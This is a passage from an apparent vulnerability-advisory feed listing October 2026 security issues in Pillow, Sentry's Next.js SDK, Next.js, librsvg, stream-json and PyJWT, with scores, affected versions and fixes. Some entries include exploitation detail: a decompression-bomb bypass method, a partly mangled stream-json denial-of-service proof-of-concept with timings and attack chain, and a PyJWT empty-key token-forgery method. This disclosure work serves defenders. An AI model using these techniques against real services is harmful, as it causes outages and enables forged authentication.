print("loaded over-limit frame:", im.size)
```

Measured on Pillow 12.3.0 (default limit 89,478,485 px; error threshold 178,956,970 px):

| Vector | File size | Frame 1 | Peak RSS |
|---|---|---|---|
| MPO (JPEG) | ~3.0 MB | 14000×14000 (196 Mpx) | ~763 MB |
| DCX (PCX) | ~6.2 MB | 14000×14000 (196 Mpx) | ~200 MB |
| Control: same image standalone | — | 196 Mpx | `DecompressionBombError` (correctly blocked) |

The DCX vector (`0x3ADE68B1` magic + offset directory + two PCX pages) behaves identically via `DcxImageFile.seek()`. Scaling frame 1 toward JPEG's ~65500×65500 maximum drives multi-GB commitments from a small file, reliably OOM-killing the process.

### Impact
Denial of service (memory exhaustion / OOM) — CWE-400 / CWE-1284, a bypass of Pillow's documented decompression-bomb mitigation. `seek()` + `load()` is the normal way to iterate frames (e.g. `PIL.ImageSequence.Iterator`, thumbnailers, converters, 3D-photo handlers). Because **MPO is auto-detected from a JPEG carrying MPF metadata**, a file served with a `.jpg` extension can be opened as MPO, so any application that iterates frames of untrusted images is exposed.

### Suggested fix
Re-run the check after `seek()` re-parses a frame, mirroring GIF/TIFF:

```python
# PIL/MpoImagePlugin.py — end of MpoImageFile.seek()
self.tile = [ImageFile._Tile("jpeg", (0, 0) + self.size, self.offset, self.tile[0][-1])]
Image._decompression_bomb_check(self.size) # add
self.__frame = frame

# PIL/DcxImagePlugin.py — end of DcxImageFile.seek()
PcxImageFile._open(self)
Image._decompression_bomb_check(self.size) # add
```

Affected package ranges reported by GitHub:
Pillow: < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Sentry-Javascript: Middleware Bypass when using Tunnel route
https://kevwire.com/record/CVE-2026-114139
Sentry-Javascript: Middleware Bypass when using Tunnel route (Oct 22, 2026).
The `tunnelRoute` option makes the SDK send browser events to a path on your own Next.js server (for example `/monitoring`), where a rewrite forwards them to Sentry to prevent ad blockers from blocking them. To keep those envelope requests from being rejected by your middleware, the SDK skips middleware for them.

The middleware skip was wider than the rewrite. The rewrite only serves requests to the tunnel path itself with the `o` and `p` parameters set. The skip applied to anything under the tunnel path. Requests in that gap go to your application instead of Sentry, and your middleware never runs on them.
CVSS 9.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114139).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114139&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-mchm-gjx6-7h55: https://github.com/advisories/GHSA-mchm-gjx6-7h55
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114139: https://nvd.nist.gov/vuln/detail/CVE-2026-114139
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114139&date=2026-10-25
### Impact

The `tunnelRoute` option makes the SDK send browser events to a path on your own Next.js server (for example `/monitoring`), where a rewrite forwards them to Sentry to prevent ad blockers from blocking them. To keep those envelope requests from being rejected by your middleware, the SDK skips middleware for them.

The middleware skip was wider than the rewrite. The rewrite only serves requests to the tunnel path itself with the `o` and `p` parameters set. The skip applied to anything under the tunnel path. Requests in that gap go to your application instead of Sentry, and your middleware never runs on them.

Skipping middleware does not grant the request any privileges. Routes that check the session server-side are still protected.

You are affected only if **all** of the following are true:

1. `tunnelRoute` is set (a string path or `true`),
2. your app is built with **webpack** (Turbopack builds are not affected),
3. some route of your application resolves under the tunnel path. That could be a direct collision (`/monitoring/foo` with `tunnelRoute: '/monitoring'`) or a dynamic segment at the route root (`app/[locale]/…`), which matches any first path segment, and
4. your middleware is the only place that enforces authorization for those routes.

Sentry's own services, and the data in your Sentry organization, are not affected.

### Patches

Fixed in [9.47.2](https://github.com/getsentry/sentry-javascript/releases/tag/9.47.2), [10.75.2](https://github.com/getsentry/sentry-javascript/releases/tag/10.75.2) and [11.0.0-rc.1](https://github.com/getsentry/sentry-javascript/releases/tag/11.0.0-rc.1). The skip now matches only the requests the tunnel rewrite actually serves. No configuration change is needed.

### Workarounds

- Set `tunnelRoute` to a path no route of yours can resolve under, or remove the option.
- Build with Turbopack (default for `next build` from Next.js 16).
- Enforce authorization in the route, layout or data-access path as well as in middleware.

Affected package ranges reported by GitHub:
@sentry/nextjs: >= 9.36.0, < 9.47.2
@sentry/nextjs: >= 10.0.0-alpha.0, < 10.75.2
@sentry/nextjs: >= 11.0.0-alpha.0, < 11.0.0-rc.1
Action: GitHub lists first patched versions: @sentry/nextjs: 9.47.2; @sentry/nextjs: 10.75.2; @sentry/nextjs: 11.0.0-rc.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used
https://kevwire.com/record/GHSA-2464-fhr4-w9xw
Next.js: Unauthenticated Remote Code Execution in Image Optimization API when SVG files are used (Oct 22, 2026).
A memory-related vulnerability has been discovered in an upstream library used for Image Optimization can lead to possible remote code execution (RCE) when Next.js runs on glibc-based Linux.

Ensure the version of `sharp` used by Next.js is greater than or equal to `0.35.5`. Fresh installs automatically get a fixed version of `sharp`.
Upgrading Next.js to the patched versions will ensure package managers automatically provide a fixed version of `sharp` to Next.js.
CVSS 9.5 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-2464-fhr4-w9xw).
Sources:
GitHub-reviewed advisory GHSA-2464-fhr4-w9xw: https://github.com/advisories/GHSA-2464-fhr4-w9xw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
## Impact

A memory-related vulnerability has been discovered in an upstream library used for Image Optimization can lead to possible remote code execution (RCE) when Next.js runs on glibc-based Linux.

## Workaround

Ensure the version of `sharp` used by Next.js is greater than or equal to `0.35.5`. Fresh installs automatically get a fixed version of `sharp`.
Upgrading Next.js to the patched versions will ensure package managers automatically provide a fixed version of `sharp` to Next.js.

Affected package ranges reported by GitHub:
next: >= 10.0.0, <= 15.5.27
next: >= 16.0.0, <= 16.4.0
Action: GitHub lists first patched versions: next: 15.5.28; next: 16.4.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Librsvg: Use-after-free when XML includes have duplicated entities
https://kevwire.com/record/CVE-2026-96889
Librsvg: Use-after-free when XML includes have duplicated entities (Oct 22, 2026).
Librsvg uses libxml2, a C library, to parse XML. When librsvg parses
an SVG document which has a nested Xinclude, an XML entity declaration
with a duplicate name as an existing one can cause a use-after-free error.

While libxml2 is expanding an internal entity, a recursive XInclude
can parse another document that declares an entity with the same
name. Both parses use the same `XmlState` entity
map on the librsvg side. `entity_insert()` replaces the first entry, whose `Drop`
implementation calls `xmlFreeNode()`. The outer `xmlCtxtParseEntity()`
then keeps using the freed 144-byte `xmlEntity`.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-cpvr-w4j5-2mpg).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96889&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-cpvr-w4j5-2mpg: https://github.com/advisories/GHSA-cpvr-w4j5-2mpg
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96889&date=2026-10-25
Librsvg uses libxml2, a C library, to parse XML. When librsvg parses
an SVG document which has a nested Xinclude, an XML entity declaration
with a duplicate name as an existing one can cause a use-after-free error.

While libxml2 is expanding an internal entity, a recursive XInclude
can parse another document that declares an entity with the same
name. Both parses use the same `XmlState` entity
map on the librsvg side. `entity_insert()` replaces the first entry, whose `Drop`
implementation calls `xmlFreeNode()`. The outer `xmlCtxtParseEntity()`
then keeps using the freed 144-byte `xmlEntity`.

The included parse should not free an entity that the outer parser is still using.

The fix is in commit 8a1b0cd319e9af2d1e9cf878081dd77f227a0504, where
librsvg will no longer free xmlEntity pointers that libxml2 is still
using.

Affected package ranges reported by GitHub:
librsvg: < 2.57.5
librsvg: >= 2.60.0-beta.0, < 2.60.3
librsvg: >= 2.61.0, < 2.61.5
librsvg: >= 2.62.0-beta.0, < 2.62.4
librsvg: >= 2.63.0-beta.0, < 2.63.2
Action: GitHub lists first patched versions: librsvg: 2.57.5; librsvg: 2.60.3; librsvg: 2.61.5; librsvg: 2.62.4; librsvg: 2.63.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Next.js: Denial of Service in App Router using Server Actions
https://kevwire.com/record/CVE-2026-94482
Next.js: Denial of Service in App Router using Server Actions (Oct 22, 2026).
Next.js is a React framework for building full-stack web applications. From 13.0.0 until 15.5.28 and 16.4.1, crafted requests targeting App Router applications with at least one Server Action can cause excessive CPU consumption and block processing of further requests in the same process. Applications using the Pages Router and App Router applications without Server Actions are not affected. This issue is fixed in versions 15.5.28 and 16.4.1.
CVSS 8.2 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-94482).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-94482&date=2026-10-25).
Sources:
NVD CVE-2026-94482: https://nvd.nist.gov/vuln/detail/CVE-2026-94482
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
GitHub-reviewed advisory GHSA-p3m5-59mp-jv5r: https://github.com/advisories/GHSA-p3m5-59mp-jv5r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-94482&date=2026-10-25
Next.js is a React framework for building full-stack web applications. From 13.0.0 until 15.5.28 and 16.4.1, crafted requests targeting App Router applications with at least one Server Action can cause excessive CPU consumption and block processing of further requests in the same process. Applications using the Pages Router and App Router applications without Server Actions are not affected. This issue is fixed in versions 15.5.28 and 16.4.1.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### stream-json: FlexAssembler string/RegExp path filters join the full key stack per container start, giving O(depth^2) CPU denial of service
https://kevwire.com/record/CVE-2026-114129
stream-json: FlexAssembler string/RegExp path filters join the full key stack per container start, giving O(depth^2) CPU denial of service (Oct 22, 2026).
`FlexAssembler`, the custom-container assembler shipped in the `stream-json` package (`src/core/utils/flex-assembler.js`, re-exported at `stream-json/utils/flex-assembler.js` and `stream-json/web/utils/flex-assembler.js`), compiles a string or RegExp path `filter` into a matcher that runs `keyStack.join(separator)` on every container start. Because the key stack grows one entry per open object or array with no depth bound, a JSON document nested to depth D drives D container-start tokens that each perform an O(D) join, for O(D^2) total CPU on the single-threaded event loop. An unauthenticated party who can supply JSON bytes to a pipeline that uses a `FlexAssembler` with a string or RegExp rule filter can stall the process with a small input: roughly 96 KB (depth 16000) blocks the event loop for over a second, and the cost grows quadratically.

`FlexAssembler` reconstructs JavaScript values from the parser token stream and supports custom containers selected by path-matching rules. When a rule `filter` is a string or RegExp, `compileFilter` returns a matcher that computes the joined path from the full key stack before making any match decision. That join is O(current depth), and it is invoked unconditionally for every rule on every container start. The key stack that feeds the join has no depth cap. The package does have a depth guard (`maxDepth`), but it exists only in the unrelated filter base state machine and never executes on the `FlexAssembler` code path, so nested input is unbounded here.
CVSS 6.2 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-jj87-hc4r-jwfw).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114129&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jj87-hc4r-jwfw: https://github.com/advisories/GHSA-jj87-hc4r-jwfw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114129&date=2026-10-25
## Summary

`FlexAssembler`, the custom-container assembler shipped in the `stream-json` package (`src/core/utils/flex-assembler.js`, re-exported at `stream-json/utils/flex-assembler.js` and `stream-json/web/utils/flex-assembler.js`), compiles a string or RegExp path `filter` into a matcher that runs `keyStack.join(separator)` on every container start. Because the key stack grows one entry per open object or array with no depth bound, a JSON document nested to depth D drives D container-start tokens that each perform an O(D) join, for O(D^2) total CPU on the single-threaded event loop. An unauthenticated party who can supply JSON bytes to a pipeline that uses a `FlexAssembler` with a string or RegExp rule filter can stall the process with a small input: roughly 96 KB (depth 16000) blocks the event loop for over a second, and the cost grows quadratically.

## Root Cause

`FlexAssembler` reconstructs JavaScript values from the parser token stream and supports custom containers selected by path-matching rules. When a rule `filter` is a string or RegExp, `compileFilter` returns a matcher that computes the joined path from the full key stack before making any match decision. That join is O(current depth), and it is invoked unconditionally for every rule on every container start. The key stack that feeds the join has no depth cap. The package does have a depth guard (`maxDepth`), but it exists only in the unrelated filter base state machine and never executes on the `FlexAssembler` code path, so nested input is unbounded here.

```text
src/core/utils/flex-assembler.js
 compileFilter (lines 5-21): string branch computes `path.join(separator)` (line 10)
 before the `=== filter || startsWith(...)` comparison; RegExp branch computes
 `filter.test(path.join(separator))` (line 17). The join runs first, unconditionally.
 FlexAssembler._matchRule (lines 160-166): calls `rule.filter(this.keyStack)` for every
 rule; invoked from startObject (line 184) and startArray (line 197) on every
 container start.
 FlexAssembler._pushState (lines 168-176): pushes one entry onto `keyStack` per open
 container with no depth bound.
```

## Impact

An attacker who can deliver JSON to a pipeline whose `FlexAssembler` is configured with a string or RegExp rule filter (a documented, tested, first-class option: `Filter = string | RegExp | FilterFunction`) can cause quadratic CPU consumption. The join runs regardless of whether the rule ultimately matches, so no attacker knowledge of the schema is required beyond nesting depth, which the attacker fully controls. The demonstrated capability is an availability impact: a small crafted document blocks the Node.js event loop, stalling all concurrent work on the process. There is no confidentiality or integrity impact. A consumer that uses only a function filter or no rules is not affected, which narrows the vulnerable population but does not raise attack complexity once such a configuration is in use.

## Proof of Concept

`Node.js and the published stream-json@3.6.0 package. Drive a FlexAssembler configured with a string rule filter, comparing against a function filter as a negative control.`

1. Install `stream-json@3.6.0`.
2. Construct a deeply nested object token stream (or equivalently parse a document like `'{"k":'` repeated D times, a `1`, then `'}'` repeated D times, through `parser`/`parserStream`).
3. Feed it to a `FlexAssembler` whose `objectRules` contains a rule with a string `filter`.
4. Observe wall-clock time scaling as roughly 4x per doubling of D (quadratic), while a function-filter configuration stays flat.

```js
import FlexAssembler from 'stream-json/utils/flex-assembler.js';

function run(filter, D) {
 const asm = new FlexAssembler(filter ? {objectRules: [{filter, create: () => ({})}]} : undefined);
 const t = performance.now();
 asm.startObject();
 for (let i = 0; i p.length > 0, D).toFixed(1), 'ms');
```

```text
string filter (path.join per token): function filter (negative control, no join):
 D=4000 91.9 ms D=4000 1.6 ms
 D=8000 341.9 ms D=8000 0.9 ms
 D=16000 1359.2 ms (~4x per doubling) D=16000 1.7 ms (flat)
 D=32000 5430.0 ms (= O(D^2)) D=32000 2.6 ms
```

End to end through a real `parserStream`, roughly 96 KB (depth 16000) of attacker-supplied JSON stalls the event loop for over 1.3 seconds.

## Attack Chain

1. **Exposure:** The attacker supplies JSON bytes to a service pipeline that assembles values with a `FlexAssembler` configured with a string or RegExp rule filter; `FlexAssembler` is a documented submodule of the published package on both the Node and Web Streams surfaces.
2. **Control:** The attacker controls the JSON bytes and therefore the nesting depth D, which directly controls the key stack length.
3. **Path:** Each `{` or `[` emits `startObject`/`startArray`, which push onto `keyStack` and call `_matchRule`, which calls the compiled filter with the current key stack.
4. **Guard:** There is no depth or size cap on this path; the only `maxDepth` guard in the package lives in the filter base state machine and never runs in `FlexAssembler`.
5. **Primitive:** For each of the D container starts, the compiled string/RegExp filter runs an O(D) `join` before any match decision, for O(D^2) total CPU.
6. **Result:** The single-threaded event loop stalls, denying service to all concurrent work on the process; a small input scales quadratically to sustained unavailability.

## Bypass Evidence

This is a novel finding on a code path that no prior fix protects, so there is no guard to bypass on the `FlexAssembler` path. The relevant prior fix is the `maxDepth` cap published as part of the remediation for CVE-2026-71429 (GHSA-528h-pc64-c93x), which addressed the analogous O(depth^2) behavior in the `pick`/`ignore`/`filter`/`replace` filters. That fix was placed only in `src/core/filters/filter-base.js`; `src/core/utils/flex-assembler.js` neither imports nor invokes it, so the guard never executes here. A search for `maxDepth` across `src/` returns on

Affected package ranges reported by GitHub:
stream-json: >= 2.0.0, <= 3.6.0
Action: GitHub lists first patched versions: stream-json: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
https://kevwire.com/record/GHSA-pxh4-856f-4h89
PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery (Oct 22, 2026).
`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a `PyJWK`, or a `PyJWK` resolved by
`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes
`HMAC(key=b"", signing_input)` and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's `kid` to the empty-`k` JWK.

The empty-key rejection that `HMACAlgorithm.prepare_key` performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an `InsecureKeyLengthWarning`, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
CVSS 7.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-pxh4-856f-4h89).
Sources:
GitHub-reviewed advisory GHSA-pxh4-856f-4h89: https://github.com/advisories/GHSA-pxh4-856f-4h89
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
